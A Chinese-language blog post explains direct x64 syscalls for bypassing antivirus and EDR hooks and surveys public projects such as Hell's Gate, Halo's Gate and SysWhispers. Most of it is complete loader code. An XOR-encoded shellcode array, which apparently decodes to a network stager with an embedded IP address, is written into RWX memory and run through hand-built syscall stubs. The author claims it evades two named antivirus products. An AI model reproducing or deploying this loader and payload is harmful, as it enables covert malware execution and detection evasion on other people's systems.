Syscall
x86 windows 使用 sysenter 实现系统调用,而x64 windows 使用
syscall 实现系统调用。
syscall已经成为了绕过AV/EDR所使用的主流方式,可以用它绕过一些敏感函数的调用监控(R3)。主流的AV/EDR都会对敏感函数进行HOOK,而syscall则可以用来绕过该类检测。
(可以通过https://j00ru.vexillium.org/syscalls/nt/64/
查询各系统64位系统调用号
https://j00ru.vexillium.org/syscalls/nt/32/
查询各系统32位系统调用号)
简单分析WindowsAPI调用过程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <Windows.h> #include <stdio.h> VOID WINAPI Thread (LPVOID lpParam) { MessageBoxA(0 , "test" , "test" , 0 ); } int main () { CreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)Thread, 0 , 0 , 0 ); system("pause" ); return 0 ; }
使用process monitor 查看该进程调用过程 从CreateThread ->
CreateRemoteThreadEx ->NtCreateThreadEx 最后进入内核
系统调用号
使用IDA查看ntdll.dll 简单看下R3函数的底层实现
NtAllocateVirtualMemoryEx
NtWriteVirtualMemory
NtCreateThreadEx 这几个函数形式基本上都是一致的
,只有系统调用号不同。将参数放入eax 的76h 为
ssdt表中的系统调用号中,然后再判断是否是syscall的方式进入内核,如果不支持就使用右边的调用方式。
1 2 3 4 5 6 7 8 .code NtAllocateVirtualMemoryExProc proc mov r10, rcx mov eax, 76h ;将系统调用号存入eax syscall ;进入内核层 ret NtAllocateVirtualMemoryExProc endp end
Syscall
基础的syscall代码实现
将用到的API写到syscall.asm中 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 .code NtAllocateVirtualMemoryExProc proc mov r10, rcx mov eax, 76h syscall ret NtAllocateVirtualMemoryExProc endp NtWriteVirtualMemoryProc proc mov r10, rcx mov eax, 03Ah syscall ret NtWriteVirtualMemoryProc endp NtCreateThreadExProc proc mov r10, rcx mov eax, 0C1h syscall ret NtCreateThreadExProc endp end
在该asm下属性中单独设置以下配置: ml64 /c %(fileName).asm
%(fileName).obj;
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 #include <Windows.h> #include <stdio.h> EXTERN_C NTSTATUS NTAPI NtAllocateVirtualMemoryExProc ( _In_opt_ HANDLE Process, _In_opt_ PVOID* BaseAddress, _In_ SIZE_T* RegionSize, _In_ ULONG AllocationType, _In_ ULONG PageProtection, _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters, _In_ ULONG ParameterCount ) ;EXTERN_C NTSTATUS NTAPI NtWriteVirtualMemoryProc (HANDLE ProcessHandle,PVOID BaseAddress,PVOID Buffer,ULONG BufferLength,PULONG ReturnLength OPTIONAL) ; EXTERN_C NTSTATUS NTAPI NtCreateThreadExProc ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ) ;typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemoryEx) ( _In_opt_ HANDLE Process, _In_opt_ PVOID* BaseAddress, _In_ SIZE_T* RegionSize, _In_ ULONG AllocationType, _In_ ULONG PageProtection, _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters, _In_ ULONG ParameterCount) ;typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory) (HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferLength, PULONG ReturnLength OPTIONAL) ;typedef NTSTATUS (NTAPI* pNtCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ) ;unsigned char buf[] = "\xbe\x0a\xc1\xa6\xb2\xaa\x8a\x42\x42\x42\x03\x13\x03\x12\x10\x13\x14\x0a\x73\x90\x27\x0a\xc9\x10\x22\x0a\xc9\x10\x5a\x0a\xc9\x10\x62\x0a\xc9\x30\x12\x0a\x4d\xf5\x08\x08\x0f\x73\x8b\x0a\x73\x82\xee\x7e\x23\x3e\x40\x6e\x62\x03\x83\x8b\x4f\x03\x43\x83\xa0\xaf\x10\x03\x13\x0a\xc9\x10\x62\xc9\x00\x7e\x0a\x43\x92\x24\xc3\x3a\x5a\x49\x40\x37\x30\xc9\xc2\xca\x42\x42\x42\x0a\xc7\x82\x36\x25\x0a\x43\x92\x12\xc9\x0a\x5a\x06\xc9\x02\x62\x0b\x43\x92\xa1\x14\x0a\xbd\x8b\x03\xc9\x76\xca\x0a\x43\x94\x0f\x73\x8b\x0a\x73\x82\xee\x03\x83\x8b\x4f\x03\x43\x83\x7a\xa2\x37\xb3\x0e\x41\x0e\x66\x4a\x07\x7b\x93\x37\x9a\x1a\x06\xc9\x02\x66\x0b\x43\x92\x24\x03\xc9\x4e\x0a\x06\xc9\x02\x5e\x0b\x43\x92\x03\xc9\x46\xca\x0a\x43\x92\x03\x1a\x03\x1a\x1c\x1b\x18\x03\x1a\x03\x1b\x03\x18\x0a\xc1\xae\x62\x03\x10\xbd\xa2\x1a\x03\x1b\x18\x0a\xc9\x50\xab\x0d\xbd\xbd\xbd\x1f\x28\x42\x0b\xfc\x35\x2b\x2c\x2b\x2c\x27\x36\x42\x03\x14\x0b\xcb\xa4\x0e\xcb\xb3\x03\xf8\x0e\x35\x64\x45\xbd\x97\x0a\x73\x8b\x0a\x73\x90\x0f\x73\x82\x0f\x73\x8b\x03\x12\x03\x12\x03\xf8\x78\x14\x3b\xe5\xbd\x97\xa9\x31\x18\x0a\xcb\x83\x03\xfa\x6a\x41\x42\x42\x0f\x73\x8b\x03\x13\x03\x13\x28\x41\x03\x13\x03\xf8\x15\xcb\xdd\x84\xbd\x97\xa9\x1b\x19\x0a\xcb\x83\x0a\x73\x90\x0b\xcb\x9a\x0f\x73\x8b\x10\x2a\x42\x40\x02\xc6\x10\x10\x03\xf8\xa9\x17\x6c\x79\xbd\x97\x0a\xcb\x84\x0a\xc1\x81\x12\x28\x48\x1d\x0a\xcb\xb3\x0a\xcb\x98\x0b\x85\x82\xbd\xbd\xbd\xbd\x0f\x73\x8b\x10\x10\x03\xf8\x6f\x44\x5a\x39\xbd\x97\xc7\x82\x4d\xc7\xdf\x43\x42\x42\x0a\xbd\x8d\x4d\xc6\xce\x43\x42\x42\xa9\x91\xab\xa6\x43\x42\x42\xaa\xe0\xbd\xbd\xbd\x6d\x28\x08\x11\x14\x42\x2c\xaf\xcb\x27\xf3\xeb\x79\x89\x97\xe9\x9e\x82\x2b\x92\x89\x37\x1b\x18\x0f\xfb\x7f\x6f\x51\xaf\xd2\xe8\x4e\x3e\x46\xfd\xf9\x48\xbb\x8a\x77\x46\xa2\xae\x4b\x48\x90\xed\xd7\x70\xa0\xea\xe8\xff\x56\xcc\x0f\xa1\x60\xf5\x32\x38\xfc\x5f\xa5\x65\x08\xd6\x8d\x3c\x2e\x6d\xad\x5d\x3f\xa4\xe2\x00\x8a\x42\x17\x31\x27\x30\x6f\x03\x25\x27\x2c\x36\x78\x62\x0f\x2d\x38\x2b\x2e\x2e\x23\x6d\x77\x6c\x72\x62\x6a\x21\x2d\x2f\x32\x23\x36\x2b\x20\x2e\x27\x79\x62\x0f\x11\x0b\x07\x62\x7b\x6c\x72\x79\x62\x15\x2b\x2c\x26\x2d\x35\x31\x62\x0c\x16\x62\x74\x6c\x73\x79\x62\x16\x30\x2b\x26\x27\x2c\x36\x6d\x77\x6c\x72\x6b\x62\x0e\x00\x00\x10\x0d\x15\x11\x07\x10\x4f\x48\x42\x9a\xd8\x83\x80\x12\x4c\x94\x3e\x35\x26\x4a\xb4\x1b\x66\xd3\xf9\xcf\x15\x15\xb4\xef\x52\x8c\x9a\x93\x5d\xad\x04\x25\x97\x2d\xb4\xf4\x6b\xd4\x1e\xd0\x29\xd2\xfa\xfe\x7f\xf3\x29\xa5\x7e\x27\x1b\x09\x81\x60\x12\x17\x47\xf4\xe0\x34\x4c\xd6\x63\x50\xd5\x79\x95\x32\xbe\x75\x69\x28\x15\x36\x6a\xcf\xf8\xbe\x39\x5b\x9e\x23\x43\xce\xc1\x27\x85\x92\x80\x15\x54\x82\x47\x51\x33\x6e\x1a\x06\x6a\x59\xd3\xc5\xf4\xaa\x46\xed\xf7\x03\x57\x17\x93\xab\x39\xb4\xb2\xed\x09\x74\xb1\x25\x22\x32\xbb\xd2\x64\xee\xc9\x94\xb1\x31\x63\x57\x71\xe2\x44\x19\x71\x61\x5a\x72\x3d\xe9\x90\xd1\x7e\x81\x87\xf0\xe4\x8c\xe1\x0f\x57\xc4\xe2\xeb\x7b\x89\x64\x66\x34\x5a\x0b\xba\xc2\x9b\x3e\x4c\xc8\xfd\x8e\x31\xcc\xe9\x63\x04\x4c\x94\x15\xea\x63\xc6\xcd\x4c\xfa\xa1\xa4\x9c\x34\x86\x87\x1f\xe8\x37\x1c\x3e\xf8\xac\xac\xdd\x88\xc2\x73\xa2\x3b\x25\x3b\x81\x77\x18\x04\x8f\x97\xc2\x3b\xdf\x86\x89\x42\x03\xfc\xb2\xf7\xe0\x14\xbd\x97\x0a\x73\x8b\xf8\x42\x42\x02\x42\x03\xfa\x42\x52\x42\x42\x03\xfb\x02\x42\x42\x42\x03\xf8\x1a\xe6\x11\xa7\xbd\x97\x0a\xd1\x11\x11\x0a\xcb\xa5\x0a\xcb\xb3\x0a\xcb\x98\x03\xfa\x42\x62\x42\x42\x0b\xcb\xbb\x03\xf8\x50\xd4\xcb\xa0\xbd\x97\x0a\xc1\x86\x62\xc7\x82\x36\xf4\x24\xc9\x45\x0a\x43\x81\xc7\x82\x37\x95\x1a\x1a\x1a\x0a\x47\x42\x42\x42\x42\x12\x81\xaa\xdd\xbf\xbd\xbd\x73\x7b\x70\x6c\x73\x74\x7a\x6c\x73\x7a\x73\x6c\x73\x71\x70\x42\x78\x9c\x2a\xf3" ;int main () { pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)&NtAllocateVirtualMemoryExProc; pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)&NtWriteVirtualMemoryProc; pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)&NtCreateThreadExProc; LPVOID Address = NULL ; SIZE_T uSize = 0x1000 ; HANDLE hProcess = GetCurrentProcess(); NTSTATUS status = NtAllocateVirtualMemoryEx(hProcess, &Address, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE,0 ,0 ); if (status != 0 ) { return -1 ; } for (int i = 0 ; i < sizeof (buf); i++) { buf[i] ^= 66 ; } status = NtWriteVirtualMemory(hProcess, Address, buf, sizeof (buf), 0 ); if (status != 0 ) { return -1 ; } HANDLE hThread; NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL , hProcess, (LPTHREAD_START_ROUTINE)Address, 0 ,0 ,0 ,0 ,0 ,NULL ); WaitForSingleObject(hThread, INFINITE); return 0 ; }
以上添加asm的代码也可以这样写,将asm中的代码改写放在以下形式main.cpp中
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 //syscall.asm CHAR NtAllocateVirtualMemoryExProc[] = { 0x4c,0x8b,0xd1, //mov r10,rcx 0xb8,0x76,0x00,0x00,0x00, //mov eax,076h 0x0f,0x05, //syscall 0xc3 //ret }; CHAR NtWriteVirtualMemoryProc[] = { 0x4c,0x8b,0xd1, //mov r10,rcx 0xb8,0x3a,0x00,0x00,0x00, //mov eax,03Ah 0x0f,0x05, //syscall 0xc3 //ret }; CHAR NtCreateThreadExProc[] = { 0x4c,0x8b,0xd1, //mov r10,rcx 0xb8,0xc1,0x00,0x00,0x00, //mov eax,0C1h 0x0f,0x05, //syscall 0xc3 //ret };
通过该方法 重新R3层API
杀软(用户态)就无法监控我们使用的API函数从而去bypass
动态静态可过360、火绒 (2022.11.26)
动态读取ntdll.dll中函数获取系统调用号
对于不同的系统版本,进入内核的系统调用号都大不相同
所以前面手动去找函数的系统调用号的方法存在兼容性问题,需要对不同的系统做不同的处理。
流程: - 1. 通过GetProcAddress获取ntdll中的NtReadVirtualMemory
函数地址 - 2. 读取函数偏移0x04 获取系统调用号 - 3.
编写函数调用模板并填入系统调用号 - 4. 编写函数指针调用函数模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 VOID SetSysCall (TCHAR* szFuncName) { DWORD SysCallid = 0 ; HMODULE hModule = GetModuleHandle("ntdll.dll" ); if (hModule) { DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName); LPVOID CallAddr = (LPVOID)(FuncAddr + 4 ); ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 2 , NULL ); memcpy (FuncExample + 4 , (CHAR*)&SysCallid, 2 ); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 #include <Windows.h> #include <stdio.h> #include <tchar.h> #pragma comment(linker, "/section:.data,RWE" ) CHAR FuncExample[] = { 0x4c ,0x8b ,0xd1 , 0xb8 ,0xb9 ,0x00 ,0x00 ,0x00 , 0x0f ,0x05 , 0xc3 }; CHAR NtAllocateVirtualMemoryExProc[] = { 0x4c ,0x8b ,0xd1 , 0xb8 ,0xb9 ,0x00 ,0x00 ,0x00 , 0x0f ,0x05 , 0xc3 }; CHAR NtWriteVirtualMemoryProc[] = { 0x4c ,0x8b ,0xd1 , 0xb8 ,0xb9 ,0x00 ,0x00 ,0x00 , 0x0f ,0x05 , 0xc3 }; CHAR NtCreateThreadExProc[] = { 0x4c ,0x8b ,0xd1 , 0xb8 ,0xb9 ,0x00 ,0x00 ,0x00 , 0x0f ,0x05 , 0xc3 }; typedef NTSTATUS (NTAPI* pNtAllocateVirtualMemoryEx) ( _In_opt_ HANDLE Process, _In_opt_ PVOID* BaseAddress, _In_ SIZE_T* RegionSize, _In_ ULONG AllocationType, _In_ ULONG PageProtection, _Inout_updates_opt_(ParameterCount) MEM_EXTENDED_PARAMETER* Parameters, _In_ ULONG ParameterCount ) ;typedef NTSTATUS (NTAPI* pNtWriteVirtualMemory) ( HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG BufferLength, PULONG ReturnLength OPTIONAL ) ;typedef NTSTATUS (NTAPI* pNtCreateThreadEx) ( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ) ;VOID SetSysCall (TCHAR* szFuncName) { DWORD SysCallid = 0 ; HMODULE hModule = GetModuleHandle("ntdll.dll" ); if (hModule) { DWORD64 FuncAddr = (DWORD64)GetProcAddress(hModule, (LPCSTR)szFuncName); LPVOID CallAddr = (LPVOID)(FuncAddr + 4 ); ReadProcessMemory(GetCurrentProcess(), CallAddr, &SysCallid, 2 , NULL ); memcpy (FuncExample + 4 , (CHAR*)&SysCallid, 2 ); } } unsigned char buf[] = "\xbe\x0a\xc1\xa6\xb2\xaa\x8a\x42\x42\x42\x03\x13\x03\x12\x10\x13\x14\x0a\x73\x90\x27\x0a\xc9\x10\x22\x0a\xc9\x10\x5a\x0a\xc9\x10\x62\x0a\xc9\x30\x12\x0a\x4d\xf5\x08\x08\x0f\x73\x8b\x0a\x73\x82\xee\x7e\x23\x3e\x40\x6e\x62\x03\x83\x8b\x4f\x03\x43\x83\xa0\xaf\x10\x03\x13\x0a\xc9\x10\x62\xc9\x00\x7e\x0a\x43\x92\x24\xc3\x3a\x5a\x49\x40\x37\x30\xc9\xc2\xca\x42\x42\x42\x0a\xc7\x82\x36\x25\x0a\x43\x92\x12\xc9\x0a\x5a\x06\xc9\x02\x62\x0b\x43\x92\xa1\x14\x0a\xbd\x8b\x03\xc9\x76\xca\x0a\x43\x94\x0f\x73\x8b\x0a\x73\x82\xee\x03\x83\x8b\x4f\x03\x43\x83\x7a\xa2\x37\xb3\x0e\x41\x0e\x66\x4a\x07\x7b\x93\x37\x9a\x1a\x06\xc9\x02\x66\x0b\x43\x92\x24\x03\xc9\x4e\x0a\x06\xc9\x02\x5e\x0b\x43\x92\x03\xc9\x46\xca\x0a\x43\x92\x03\x1a\x03\x1a\x1c\x1b\x18\x03\x1a\x03\x1b\x03\x18\x0a\xc1\xae\x62\x03\x10\xbd\xa2\x1a\x03\x1b\x18\x0a\xc9\x50\xab\x0d\xbd\xbd\xbd\x1f\x28\x42\x0b\xfc\x35\x2b\x2c\x2b\x2c\x27\x36\x42\x03\x14\x0b\xcb\xa4\x0e\xcb\xb3\x03\xf8\x0e\x35\x64\x45\xbd\x97\x0a\x73\x8b\x0a\x73\x90\x0f\x73\x82\x0f\x73\x8b\x03\x12\x03\x12\x03\xf8\x78\x14\x3b\xe5\xbd\x97\xa9\x31\x18\x0a\xcb\x83\x03\xfa\x6a\x41\x42\x42\x0f\x73\x8b\x03\x13\x03\x13\x28\x41\x03\x13\x03\xf8\x15\xcb\xdd\x84\xbd\x97\xa9\x1b\x19\x0a\xcb\x83\x0a\x73\x90\x0b\xcb\x9a\x0f\x73\x8b\x10\x2a\x42\x40\x02\xc6\x10\x10\x03\xf8\xa9\x17\x6c\x79\xbd\x97\x0a\xcb\x84\x0a\xc1\x81\x12\x28\x48\x1d\x0a\xcb\xb3\x0a\xcb\x98\x0b\x85\x82\xbd\xbd\xbd\xbd\x0f\x73\x8b\x10\x10\x03\xf8\x6f\x44\x5a\x39\xbd\x97\xc7\x82\x4d\xc7\xdf\x43\x42\x42\x0a\xbd\x8d\x4d\xc6\xce\x43\x42\x42\xa9\x91\xab\xa6\x43\x42\x42\xaa\xe0\xbd\xbd\xbd\x6d\x28\x08\x11\x14\x42\x2c\xaf\xcb\x27\xf3\xeb\x79\x89\x97\xe9\x9e\x82\x2b\x92\x89\x37\x1b\x18\x0f\xfb\x7f\x6f\x51\xaf\xd2\xe8\x4e\x3e\x46\xfd\xf9\x48\xbb\x8a\x77\x46\xa2\xae\x4b\x48\x90\xed\xd7\x70\xa0\xea\xe8\xff\x56\xcc\x0f\xa1\x60\xf5\x32\x38\xfc\x5f\xa5\x65\x08\xd6\x8d\x3c\x2e\x6d\xad\x5d\x3f\xa4\xe2\x00\x8a\x42\x17\x31\x27\x30\x6f\x03\x25\x27\x2c\x36\x78\x62\x0f\x2d\x38\x2b\x2e\x2e\x23\x6d\x77\x6c\x72\x62\x6a\x21\x2d\x2f\x32\x23\x36\x2b\x20\x2e\x27\x79\x62\x0f\x11\x0b\x07\x62\x7b\x6c\x72\x79\x62\x15\x2b\x2c\x26\x2d\x35\x31\x62\x0c\x16\x62\x74\x6c\x73\x79\x62\x16\x30\x2b\x26\x27\x2c\x36\x6d\x77\x6c\x72\x6b\x62\x0e\x00\x00\x10\x0d\x15\x11\x07\x10\x4f\x48\x42\x9a\xd8\x83\x80\x12\x4c\x94\x3e\x35\x26\x4a\xb4\x1b\x66\xd3\xf9\xcf\x15\x15\xb4\xef\x52\x8c\x9a\x93\x5d\xad\x04\x25\x97\x2d\xb4\xf4\x6b\xd4\x1e\xd0\x29\xd2\xfa\xfe\x7f\xf3\x29\xa5\x7e\x27\x1b\x09\x81\x60\x12\x17\x47\xf4\xe0\x34\x4c\xd6\x63\x50\xd5\x79\x95\x32\xbe\x75\x69\x28\x15\x36\x6a\xcf\xf8\xbe\x39\x5b\x9e\x23\x43\xce\xc1\x27\x85\x92\x80\x15\x54\x82\x47\x51\x33\x6e\x1a\x06\x6a\x59\xd3\xc5\xf4\xaa\x46\xed\xf7\x03\x57\x17\x93\xab\x39\xb4\xb2\xed\x09\x74\xb1\x25\x22\x32\xbb\xd2\x64\xee\xc9\x94\xb1\x31\x63\x57\x71\xe2\x44\x19\x71\x61\x5a\x72\x3d\xe9\x90\xd1\x7e\x81\x87\xf0\xe4\x8c\xe1\x0f\x57\xc4\xe2\xeb\x7b\x89\x64\x66\x34\x5a\x0b\xba\xc2\x9b\x3e\x4c\xc8\xfd\x8e\x31\xcc\xe9\x63\x04\x4c\x94\x15\xea\x63\xc6\xcd\x4c\xfa\xa1\xa4\x9c\x34\x86\x87\x1f\xe8\x37\x1c\x3e\xf8\xac\xac\xdd\x88\xc2\x73\xa2\x3b\x25\x3b\x81\x77\x18\x04\x8f\x97\xc2\x3b\xdf\x86\x89\x42\x03\xfc\xb2\xf7\xe0\x14\xbd\x97\x0a\x73\x8b\xf8\x42\x42\x02\x42\x03\xfa\x42\x52\x42\x42\x03\xfb\x02\x42\x42\x42\x03\xf8\x1a\xe6\x11\xa7\xbd\x97\x0a\xd1\x11\x11\x0a\xcb\xa5\x0a\xcb\xb3\x0a\xcb\x98\x03\xfa\x42\x62\x42\x42\x0b\xcb\xbb\x03\xf8\x50\xd4\xcb\xa0\xbd\x97\x0a\xc1\x86\x62\xc7\x82\x36\xf4\x24\xc9\x45\x0a\x43\x81\xc7\x82\x37\x95\x1a\x1a\x1a\x0a\x47\x42\x42\x42\x42\x12\x81\xaa\xdd\xbf\xbd\xbd\x73\x7b\x70\x6c\x73\x74\x7a\x6c\x73\x7a\x73\x6c\x73\x71\x70\x42\x78\x9c\x2a\xf3" ;int main () { LPVOID Address = NULL ; SIZE_T uSize = 0x1000 ; SetSysCall((TCHAR*)"NtAllocateVirtualMemoryEx" ); memcpy (NtAllocateVirtualMemoryExProc,FuncExample, strlen (FuncExample)); pNtAllocateVirtualMemoryEx NtAllocateVirtualMemoryEx = (pNtAllocateVirtualMemoryEx)&NtAllocateVirtualMemoryExProc; SetSysCall((TCHAR*)"NtWriteVirtualMemory" ); memcpy (NtWriteVirtualMemoryProc, FuncExample, strlen (FuncExample)); pNtWriteVirtualMemory NtWriteVirtualMemory = (pNtWriteVirtualMemory)&NtWriteVirtualMemoryProc; SetSysCall((TCHAR*)"NtCreateThreadEx" ); memcpy (NtCreateThreadExProc, FuncExample, strlen (FuncExample)); pNtCreateThreadEx NtCreateThreadEx = (pNtCreateThreadEx)&NtCreateThreadExProc; HANDLE hProcess = GetCurrentProcess(); NTSTATUS status = NtAllocateVirtualMemoryEx(hProcess, &Address, &uSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0 , 0 ); if (status != 0 ) { return -1 ; } for (int i = 0 ; i < sizeof (buf); i++) { buf[i] ^= 66 ; } status = NtWriteVirtualMemory(hProcess, Address, buf, sizeof (buf), 0 ); if (status != 0 ) { return -1 ; } HANDLE hThread; NtCreateThreadEx(&hThread, PROCESS_ALL_ACCESS, NULL , hProcess, (LPTHREAD_START_ROUTINE)Address, 0 , 0 , 0 , 0 , 0 , NULL ); WaitForSingleObject(hThread, INFINITE); return 0 ; }
通过dll导出表的方式获取函数名称及地址
流程:
找到模块基地址
获取 IMAGE_DOS_HEADER
遍历 IMAGE_NT_HEADER IMAGE_FILE_HEADER IMAGE_OPTIONAL_HEADER
在 IMAGE_OPTIONAL_HEADER找到导出表地址 在IMAGE_DATA_DIRECTORY中
随后即可得到ntdll的导出函数及函数地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 int GetPeHeader () { PBYTE ImageBase; PIMAGE_DOS_HEADER Dos = NULL ; PIMAGE_NT_HEADERS Nt = NULL ; PIMAGE_FILE_HEADER File = NULL ; PIMAGE_OPTIONAL_HEADER Optional = NULL ; PIMAGE_EXPORT_DIRECTORY ExportTable = NULL ; PPEB Peb = (PPEB)__readgsqword(0x60 ); PLDR_MODULE pLoadModule; pLoadModule = (PLDR_MODULE)((PBYTE)Peb->LoaderData->InMemoryOrderModuleList.Flink->Flink - 0x10 ); ImageBase = (PBYTE)pLoadModule->BaseAddress; Dos = (PIMAGE_DOS_HEADER)ImageBase; if (Dos->e_magic != IMAGE_DOS_SIGNATURE) return 1 ; Nt = (PIMAGE_NT_HEADERS)((PBYTE)Dos + Dos->e_lfanew); File = (PIMAGE_FILE_HEADER)(ImageBase + (Dos->e_lfanew + sizeof (DWORD))); Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)File + sizeof (IMAGE_FILE_HEADER)); ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ImageBase + Optional->DataDirectory[0 ].VirtualAddress); PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)(ImageBase + ExportTable->AddressOfFunctions)); PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ImageBase + ExportTable->AddressOfNames); PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable-> AddressOfNameOrdinals); for (WORD cx = 0 ; cx < ExportTable->NumberOfNames; cx++) { PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]); PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]]; printf ("Function Name:%s\tFunction Address:%p\n" , pczFunctionName, pFunctionAddress); } }
Syscall项目
Hell's Gate 地狱之门
https://github.com/am0nsec/HellsGate/
对于源码分析可以参考这位师傅的http://moonflower.fun/index.php/2022/10/31/339/
原理:在PEB结构中解析InMemoryOrderModuleLIst 找到Ntdll.dll地址
解析结构后再遍历导出表 根据函数名的hash找到函数地址
再通过0xb8这个操作码去动态获取对应的系统调用号
但是如果ntdll被修改或者被hook 找不到0xb8这个操作码
那么该方法就没用了.
img
Halo's Gate 光环之门
https://github.com/boku7/AsmHalosGate
地狱之门实现了动态的系统调用(4cb18d4b),但是也有局限:ntdll.dll必须默认是自己的
如果ntdll被修改过或者被hook过(汇编操作码不再是0xb8)
,那么就无法动态获取他的系统调用号(SSN),这便出现了光环之门。
原理: EDR不会hook住所有的NT函数,总会有不敏感的函数没有被hook
,所以可以上下循环遍历(32字节)、递归,找到没有被hook的邻函数,
然后获取系统调用号再去减去移动的步数,最终得到所要搜索的系统调用号。
主要还是根据syscall的特征字节码4C 8B D1 B8
Tartarus Gate
https://github.com/trickster0/TartarusGate
https://trickster0.github.io/posts/Halo's-Gate-Evolves-to-Tartarus-Gate/
光环之门的加强
只检测第一个字节和第四个字节是否是0xe9来判断函数是否被hook
img
Spoofing-Gate 欺骗之门
https://github.com/timwhitez/Spoofing-Gate
由于是go写的项目 看不懂代码。。o(╥﹏╥)o 直接贴图🍊神的了
img
ParallerSyscalls
https://github.com/mdsecactivebreach/ParallelSyscalls
https://www.mdsec.co.uk/2022/01/edr-parallel-asis-through-analysis/
使用Syscall 从磁盘中读取ntdll,最后利用LdrpThunkSignature
回复系统调用。同时实现了 dll
的并行加载,过程中运行进程递归映射通过进程模块导入表导入 dll
的过程。
SysWishpers2
https://github.com/jthuraisamy/SysWhispers2
python3 syswhispers.py -a x64 -o syscall -l masm -f
NtCreateThreadEx
img
在syscall.c中 主要用到了两个函数 SW2_PopulateSyscallList
SW2_GetSyscallNumber
SW2_PopulateSyscallList
通过PEB已加载ntdll中的内存机制
img
遍历内存中ntdll的导出表 获取zw开头的函数名 并存到Entries中
img
对该全局数组进行冒泡升序排序
img
SW2_GetSyscallNumber
后者先遍历SW2_PopulateSyscallList函数中的数组,如果Hash相等就返回循环的值(SSN)
img
SysWishpers3
https://github.com/klezVirus/SysWhispers3
img
SW3_GetRandomSyscallAddress 函数的主要作用是得到一个随机的 Native API
的syscall 指令地址,其余部分大都相同。
对比下这两个版本生成的masm文件,左图为2代,右图为3代
img
在3代的汇编代码中隐藏了2代中的syscall ret ,而是先将保存syscall的地址
并随机获取其他 API stubs 中的 syscall 指令
最后通过jmp的方式跳转到syscall地址,从而绕过对部分edr对syscall指令的标记。(即从内存中动态找出替换syscall)
EDR不仅会检测Syscall的字符,还会检查syscall执行指定指令的位置。
API调用Syscall的正常流程图如下:
img
而当使用SysWhispers调用函数时,syscall指令会直接在程序的主模块执行
如下所示
img
GetSSN
领一种发先SYscall
Number的方法,不需要unhook、不需要从代码根存中读取,也不需要加载Ntdll副本
可以将它理解为光环之门的延伸 如果上下邻函数都被hook了
光环之门还会继续递归,不断寻找没有被hook的邻函数,而最坏的结构就是所有的函数(NT*)都被hook了,那么最后将会向上递归到SSN=0的NT函数。
首先需要了解:
所有的Nt函数和Zw同名函数实际上是等价的
Nt函数的系统调用号实际上是和Zw函数按照地址顺序的排列也是一样的
img
因此
我们只需要遍历所有Zw函数,记录其函数名和函数地址,最后安装函数地址升序排列后,每个函数的SSN就是对应的排列顺序
